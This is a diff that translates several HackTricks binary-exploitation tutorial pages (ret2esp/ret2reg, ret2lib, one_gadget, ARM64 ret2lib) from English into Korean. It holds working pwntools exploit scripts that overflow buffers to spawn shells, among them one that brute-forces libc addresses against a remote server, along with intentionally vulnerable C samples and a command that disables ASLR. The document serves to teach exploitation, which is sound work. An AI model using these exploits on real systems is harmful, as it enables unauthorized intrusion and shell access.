from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
### Raw
### 원시
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
## Other Examples & References
## 다른 예제 및 참고자료
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 리턴. 이를 이용해 bof는 `.bss` 섹션과 더 큰 크기로 `read`를 다시 호출하는 데 사용되며, 그곳에 `dlresolve` 가짜 테이블을 저장하여 `system`을 로드하고, main으로 리턴한 후 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,24 @@
## **Ret2esp**
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
**ESP(스택 포인터)는 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP(명령 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 교체하는 것을 포함합니다. 이렇게 하면 셸코드가 덮어쓴 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행되면 ESP는 다음 주소를 가리키며, 정확히 셸코드가 저장된 위치입니다.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
**주소 공간 배치 무작위화(ASLR)**가 Windows나 Linux에서 활성화되지 않은 경우, 공유 라이브러리에서 발견된 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 활성화된 경우, 이러한 명령을 찾기 위해 취약한 프로그램 자체를 살펴봐야 할 수도 있습니다(그리고 [**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 할 수도 있습니다).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
게다가 EIP 손상 이후에 셸코드를 배치할 수 있는 것은, 스택의 중간이 아닌, 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 셸코드에 간섭하지 않도록 보장합니다. 셸코드가 함수의 스택 중간에 배치되면 이러한 간섭이 발생할 수 있습니다.
### Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
### 공간 부족
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우(아마도 몇 바이트 정도), 초기 **`jmp`** 셸코드를 다음과 같이 작성하십시오:
```armasm
sub rsp, 0x30
jmp rsp
```
스택의 초기에 쉘코드를 작성하세요.
And write the shellcode early in the stack.
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
### 예시
이 기술의 예시는 [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)에서 찾을 수 있으며, 최종 익스플로잇은 다음과 같습니다:
```python
from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
이 기술의 또 다른 예는 [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)에서 볼 수 있습니다. NX가 활성화되지 않은 상태에서 버퍼 오버플로우가 발생하며, `$esp`의 주소를 **줄이기 위해 가젯이 사용되고** 그 다음 `jmp esp;`를 사용하여 셸코드로 점프합니다:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
유사하게, 함수가 셸코드가 저장된 주소를 반환하는 경우, **`call eax`** 또는 **`jmp eax`** 명령어(일명 **ret2eax** 기법)를 활용하여 셸코드를 실행할 수 있는 또 다른 방법을 제공합니다. eax와 마찬가지로, **흥미로운 주소를 포함하는 다른 레지스터**도 사용할 수 있습니다 (**ret2reg**).
### Example
### 예시
You can find some examples here:&#x20;
여기에서 몇 가지 예시를 찾을 수 있습니다:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
- **`strcpy`**는 셸코드가 저장된 버퍼의 주소를 **`eax`**에 저장하고 **`eax`**는 덮어쓰이지 않으므로 `ret2eax`를 사용할 수 있습니다.
## ARM64
### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
ARM64에서는 **SP 레지스터로 점프할 수 있는** 명령어가 **없습니다**. **sp를 레지스터로 이동시키고 그 레지스터로 점프하는** 가젯을 찾는 것이 가능할 수 있지만, 내 Kali의 libc에서는 그런 가젯을 찾을 수 없었습니다:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
내가 발견한 유일한 방법은 sp가 점프하기 전에 복사된 레지스트리의 값을 변경하는 것이었다(그래서 그것은 쓸모없게 된다):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
레지스트리에 흥미로운 주소가 있다면 적절한 명령어를 찾아서 그 주소로 점프할 수 있다. 다음과 같은 것을 사용할 수 있다:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
ARM64에서는 **`x0`**가 함수의 반환 값을 저장하므로, x0가 사용자가 제어하는 버퍼의 주소를 저장하고 있을 수 있으며, 이 버퍼에는 실행할 쉘코드가 포함되어 있을 수 있습니다.
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code:
예제 코드:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
함수의 디스어셈블리를 확인하면 **버퍼에 대한 주소**(bof에 취약하고 **사용자에 의해 제어됨**)가 **`x0`에 저장**된 것을 볼 수 있습니다. 버퍼 오버플로우에서 반환하기 전에:
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
또한 **`do_stuff`** 함수에서 **`br x0`** 가젯을 찾을 수 있습니다:
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
이진 파일이 **PIE 없이 컴파일**되었기 때문에 해당 가젯을 점프하는 데 사용할 것입니다. 패턴을 사용하여 **버퍼 오버플로우의 오프셋이 80**임을 확인할 수 있으므로 익스플로잇은 다음과 같습니다:
```python
from pwn import *
@ -171,15 +158,14 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
> [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
> 만약 `fgets` 대신 **`read`**와 같은 것을 사용했다면, **반환 주소의 마지막 2바이트만 덮어쓰는 것으로** PIE를 우회할 수 있었을 것입니다. 전체 주소를 알 필요 없이 `br x0;` 명령어로 돌아갈 수 있었습니다.\
> `fgets`를 사용하면 **끝에 null (0x00) 바이트를 추가하기 때문에** 작동하지 않습니다.
## Protections
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 스택이 실행 가능하지 않다면, 스택에 쉘코드를 배치하고 이를 실행하기 위해 점프해야 하므로 도움이 되지 않습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호는 esp 또는 다른 레지스터로 점프할 수 있는 명령어를 찾기 어렵게 만들 수 있습니다.
## References

View File

@ -2,103 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **기본 정보**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
**Ret2Libc**의 본질은 취약한 프로그램의 실행 흐름을 공격자가 제공한 쉘코드를 스택에서 실행하는 대신 공유 라이브러리 내의 함수(예: **system**, **execve**, **strcpy**)로 리디렉션하는 것입니다. 공격자는 스택의 반환 주소를 원하는 라이브러리 함수로 가리키도록 수정하는 페이로드를 작성하며, 호출 규약에 따라 필요한 인수가 올바르게 설정되도록 준비합니다.
### **Example Steps (simplified)**
### **예시 단계 (단순화)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
- 호출할 함수의 주소(예: system)와 호출할 명령(예: /bin/sh)의 주소를 가져옵니다.
- 첫 번째 인수로 명령 문자열을 가리키고 함수로의 실행 흐름을 전달하는 ROP 체인을 생성합니다.
## Finding the addresses
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
## 주소 찾기
- 현재 머신에서 사용되는 `libc`가 메모리에 로드될 위치를 찾으려면:
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
If you want to check if the ASLR is changing the address of libc you can do:
libc의 주소가 ASLR에 의해 변경되고 있는지 확인하려면 다음을 수행할 수 있습니다:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
- Knowing the libc used it's also possible to find the offset to the `system` function with:
- 사용된 libc를 알면 `system` 함수의 오프셋을 찾는 것도 가능합니다:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
- 사용된 libc를 알면 `/bin/sh` 함수의 오프셋을 찾는 것도 가능합니다:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### gdb-peda / GEF 사용하기
### Using gdb-peda / GEF
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
사용된 libc를 알면, Peda 또는 GEF를 사용하여 **system** 함수, **exit** 함수 및 문자열 **`/bin/sh`**의 주소를 얻는 것도 가능합니다:
```bash
p system
p exit
find "/bin/sh"
```
### /proc/\<PID>/maps 사용하기
### Using /proc/\<PID>/maps
프로세스가 **자식 프로세스**를 생성할 때마다 대화하는 경우(네트워크 서버) 해당 파일을 **읽어보세요**(아마도 root 권한이 필요할 것입니다).
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
여기에서 프로세스 내에서 **libc가 로드된 정확한 위치**와 프로세스의 모든 자식 프로세스에 대해 **어디에 로드될 것인지**를 찾을 수 있습니다.
![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
이 경우 **0xb75dc000**에 로드됩니다(이것이 libc의 기본 주소가 됩니다).
## Unknown libc
## 알 수 없는 libc
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
바이너리가 로드하는 **libc를 모를 수도 있습니다**(서버에 접근할 수 없기 때문일 수 있습니다). 그런 경우 취약점을 악용하여 **주소를 유출하고 어떤 libc** 라이브러리가 사용되고 있는지 찾을 수 있습니다:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
And you can find a pwntools template for this in:
그리고 여기에서 pwntools 템플릿을 찾을 수 있습니다:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
### Know libc with 2 offsets
### 2개의 오프셋으로 libc 알기
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
페이지 [https://libc.blukat.me/](https://libc.blukat.me/)를 확인하고 libc 내의 **몇 개의 함수 주소**를 사용하여 **사용된 버전**을 알아내세요.
## Bypassing ASLR in 32 bits
## 32비트에서 ASLR 우회하기
These brute-forcing attacks are **only useful for 32bit systems**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
이러한 무작위 공격은 **32비트 시스템에만 유용합니다**.
- 익스플로잇이 로컬인 경우, libc의 기본 주소를 무작위로 추측해 볼 수 있습니다(32비트 시스템에 유용함):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- 원격 서버를 공격하는 경우, **`usleep`** `libc` 함수의 주소를 **브루트 포스** 시도할 수 있으며, 인수로 10을 전달합니다(예: 10). 만약 어느 시점에서 **서버가 응답하는 데 10초가 추가로 걸린다면**, 이 함수의 주소를 찾은 것입니다.
## One Gadget
Execute a shell just jumping to **one** specific **address** in libc:
**하나**의 특정 **주소**로 점프하여 셸을 실행합니다:
{{#ref}}
one-gadget.md
{{#endref}}
## x86 Ret2lib Code Example
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
## x86 Ret2lib 코드 예제
이 예제에서는 ASLR 브루트 포스가 코드에 통합되어 있으며, 취약한 바이너리는 원격 서버에 위치합니다:
```python
from pwn import *
@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## x64 Ret2lib 코드 예제
## x64 Ret2lib Code Example
Check the example from:
다음 예제를 확인하세요:
{{#ref}}
../
{{#endref}}
## ARM64 Ret2lib Example
## ARM64 Ret2lib 예제
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
ARM64의 경우, ret 명령어는 x30 레지스터가 가리키는 곳으로 점프하며, 스택 레지스터가 가리키는 곳으로는 점프하지 않습니다. 그래서 조금 더 복잡합니다.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
또한 ARM64에서는 명령어가 하는 대로 수행됩니다 (명령어 중간에 점프하여 새로운 명령어로 변환하는 것은 불가능합니다).
Check the example from:
다음 예제를 확인하세요:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Ret-into-printf (or puts)
## Ret-into-printf (또는 puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
이는 `printf`/`puts`를 특정 데이터와 함께 인수로 호출하여 **프로세스에서 정보를 유출할 수 있게** 합니다. 예를 들어, `puts`의 GOT 주소를 `puts` 실행에 넣으면 **메모리에서 `puts`의 주소를 유출할 수 있습니다**.
## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
이는 기본적으로 **Ret2lib를 악용하여 `printf` 형식 문자열 취약점으로 변환하는 것**을 의미합니다. `ret2lib`를 사용하여 printf를 호출하고 이를 악용할 값을 전달합니다 (쓸모없어 보이지만 가능함):
{{#ref}}
../../format-strings/
{{#endref}}
## Other Examples & references
## 기타 예제 및 참고자료
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget
- Ret2lib, libc의 함수 주소에 대한 유출을 통해, one gadget 사용
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64비트, ASLR 활성화, PIE 없음, 첫 번째 단계는 canary의 바이트 0x00까지 오버플로우를 채운 후 puts를 호출하여 유출하는 것입니다. canary로 ROP 가젯을 생성하여 GOT에서 puts의 주소를 유출하고 `system('/bin/sh')`를 호출하는 ROP 가젯을 생성합니다.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64비트, ASLR 활성화, canary 없음, 자식 함수에서 main의 스택 오버플로우. GOT에서 puts의 주소를 유출하기 위해 puts를 호출하는 ROP 가젯과 그 후 one gadget을 호출합니다.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
- 64비트, PIE 없음, canary 없음, relro 없음, nx. write 함수를 사용하여 write (libc)의 주소를 유출하고 one gadget을 호출합니다.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
- 형식 문자열을 사용하여 스택에서 canary를 유출하고, `/bin/sh`의 주소로 system을 호출하기 위해 버퍼 오버플로우를 사용합니다 (GOT에 있음).
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32비트, relro 없음, canary 없음, nx, pie. 잘못된 인덱싱을 악용하여 스택에서 libc와 힙의 주소를 유출합니다. 버퍼 오버플로우를 악용하여 `system('/bin/sh')`를 호출하는 ret2lib를 수행합니다 (체크를 우회하기 위해 힙 주소가 필요합니다).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
[**One Gadget**](https://github.com/david942j/one_gadget)**system**과 **"/bin/sh"** 대신에 셸을 얻을 수 있게 해줍니다. **One Gadget**은 libc 라이브러리 내에서 단 하나의 **주소**를 사용하여 셸을 얻는 방법(`execve("/bin/sh")`)을 찾습니다.\
그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 제약은 `[rsp+0x30] == NULL`입니다. **RSP** 내부의 값을 제어하므로 제약을 피하기 위해 추가적인 NULL 값을 보내기만 하면 됩니다.
![](<../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
One Gadget가 지시하는 주소에 **`libc`가 로드된 기본 주소를 추가해야 합니다.**
> [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
> One Gadget**임의 쓰기 2 실행 기술**에 **큰 도움이 되며**, **ROP** **체인을 단순화할 수 있습니다**. 단지 하나의 주소를 호출하고 (요구 사항을 충족해야 함) 하면 됩니다.
### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
github 리포지토리는 **ARM64가 도구에 의해 지원된다고 언급하지만**, Kali 2023.3의 libc에서 실행할 때 **가젯을 찾지 못합니다.**
## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
[**github 리포지토리**](https://github.com/ChrisTheCoolHut/angry_gadget)에서: [OneGadget](https://github.com/david942j/one_gadget)에서 영감을 받아 이 도구는 파이썬으로 작성되었으며 [angr](https://github.com/angr/angr)를 사용하여 `execve('/bin/sh', NULL, NULL)`를 실행하는 가젯에 대한 제약 조건을 테스트합니다.\
OneGadget에서 시도할 가젯이 다 떨어졌다면, Angry Gadget은 시도할 수 있는 복잡한 제약 조건을 가진 더 많은 가젯을 제공합니다!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR)
## Ret2lib - ROP을 이용한 NX 우회 (ASLR 없음)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile without canary:
canary 없이 컴파일:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### 오프셋 찾기
### Find offset
### x30 오프셋
### x30 offset
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
**`pattern create 200`**으로 패턴을 생성하고, **`pattern search $x30`**로 오프셋을 확인하면 오프셋이 **`108`** (0x6c)임을 알 수 있습니다.
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
분해된 main 함수를 살펴보면 **`printf`**로 직접 점프하는 명령어로 **점프**하고 싶다는 것을 알 수 있으며, 이진 파일이 로드된 위치에서의 오프셋은 **`0x860`**입니다:
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string
### system 및 `/bin/sh` 문자열 찾기
As the ASLR is disabled, the addresses are going to be always the same:
ASLR이 비활성화되어 있으므로 주소는 항상 동일합니다:
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets
### 가젯 찾기
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper an interesting gadget was found:
**`x0`**에 문자열 **`/bin/sh`**의 주소를 두고 **`system`**을 호출해야 합니다.
rooper를 사용하여 흥미로운 가젯이 발견되었습니다:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
이 가젯은 **`$sp + 0x18`**에서 `x0`를 로드한 다음, sp에서 x29와 x30의 주소를 로드하고 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프할 수 있습니다**.
### Exploit
```python
from pwn import *
from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
## Ret2lib - NX, ASL & PIE 우회와 스택에서의 printf leak
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile **without canary**:
**카나리 없이 컴파일**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE와 ASLR, 그러나 카나리 없음
### PIE and ASLR but no canary
- 라운드 1:
- 스택에서 PIE 누출
- bof를 악용하여 main으로 돌아감
- 라운드 2:
- 스택에서 libc 누출
- ROP: ret2system
- Round 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
### Printf 누출
### Printf leaks
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
printf를 호출하기 전에 중단점을 설정하면 스택에 이진 파일로 돌아갈 주소와 libc 주소가 있는 것을 볼 수 있습니다:
